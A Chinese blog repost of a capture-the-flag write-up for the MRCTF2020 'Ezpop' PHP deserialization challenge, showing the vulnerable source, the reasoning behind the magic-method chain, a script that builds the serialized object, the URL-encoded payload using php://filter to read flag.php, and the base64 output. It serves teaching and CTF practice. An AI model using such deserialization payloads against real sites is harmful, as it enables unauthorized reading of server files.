• [MRCTF2020]Ezpop-1|php序列化


    🚀 优质资源分享 🚀

    学习路线指引(点击解锁)知识定位人群定位
    🧡 Python实战微信订餐小程序 🧡进阶级本课程是python flask+微信小程序的完美结合,从项目搭建到腾讯云部署上线,打造一个全栈订餐系统。
    💛Python量化交易实战💛入门级手把手带你打造一个易扩展、更安全、效率更高的量化交易系统

    1、打开题目获取到源代码信息,如下:

    Welcome to index.php
    php</span
    //flag is in flag.php
    //WTF IS THIS?
    //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
    //And Crack It!
    class Modifier {
     protected $var;
     public function append($value){
     include($value);
     }
     public function \_\_invoke(){
     $this->append($this->var);
     }
    }
    
    class Show{
     public $source;
     public $str;
     public function \_\_construct($file='index.php'){
     $this->source = $file;
     echo 'Welcome to '.$this->source."";
     }
     public function \_\_toString(){
     return $this->str->source;
     }
    
     public function \_\_wakeup(){
     if(preg\_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
     echo "hacker";
     $this->source = "index.php";
     }
     }
    }
    
    class Test{
     public $p;
     public function \_\_construct(){
     $this->p = array();
     }
    
     public function \_\_get($key){
     $function = $this->p;
     return $function();
     }
    }
    
    if(isset($\_GET['pop'])){
     @unserialize($\_GET['pop']);
    }
    else{
     $a=new Show;
     highlight\_file(\_\_FILE\_\_);
    }折叠 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54

    2、我们的最终目标是获取flag.php中的flag信息,因此分析源代码信息,查看哪里可以获取到flag.php文件,发现在Modifier类中存在include($value),因此想到可以通过php伪协议来获取flag.php的信息,所以现在我们的目的就成了调用append函数,接着往下观察,发现__invoke函数调用了append函数,因此我们只要执行了__invoke函数一样可以获得flag信息,那该怎么执行__invoke函数呢:

    因此,此时我们应该使用别的函数来调用Modifier的一个对象,继续观察源代码发现只有test类的__get函数接收了参数值,因此我们就将Modifier对象传入到__get函数中,所以现在的目的就成了执行__get函数,那又该怎么执行__get函数呢:

    所以此时就需要一个函数来调用test类中不存在的属性,这里要注意一下这行代码:$this->str->source,这里这么会有两个->呢,因为这里str就是test类的一个对象,然后调用test类的对象的soucre属性,但是这个属性在test类中并不存在,因此就会执行__get方法,所以现在我们就是要执行__toString函数,那我们又该如何执行__toString函数呢:

    所以此时我们就需要通过执行show类的__construct函数来执行__toString函数并且__construct函数中的echo 'Welcome to '. t h i s − > s o u r c e . " " 中 的 this->source.""中的 this>source.""this->source需要为对象才可以执行__toString函数,因此需要创建show类的对象和赋予$this->source对象。

    3、分析完之后就需要根据分析过程来写脚本,脚本内容如下:

    php</span
    class Modifier {
     protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
    }
    class Show{
     public $source;
     public $str;
    }
    class Test{
     public $p;
    }
    $a= new Show();
    $a->source=new Show();
    $a->source->str=new Test();
    $a->source->str->p=new Modifier();
    echo urlencode(serialize($a));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    payload:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
    
    • 1

    4、访问之后获得加密的flag.php文件,进行base64解密,结果如下:

    flag.php文件:

    PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezg1YmQ4NzVjLTNiNjktNGExOS05MTQ0LTRlYmM0NzlhYjZjNH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
    
    • 1

    解密后信息:

  • 相关阅读:
    模型预测控制(MPC)中考虑约束中的不确定性(Matlab代码实现)
    新一代 L1 公链Aptos:安全、可扩展和可升级的Web3基础设施 |Tokenview
    创建符合 Web 可访问性标准的 HTML 布局
    一起Talk Android吧(第四百一十七回:解决Glide不能加载网络图片的方法)
    2022年6月对自己近况的一次总结
    Spring Boot 日志文件
    http协议的缓存机制
    GaussDB技术解读系列:性能调优
    java设计模式之装饰者模式
    【Linux内核代码分析1】Linux时间子系统及HRTIMER实现
  • 原文地址:https://blog.csdn.net/u012804784/article/details/125532427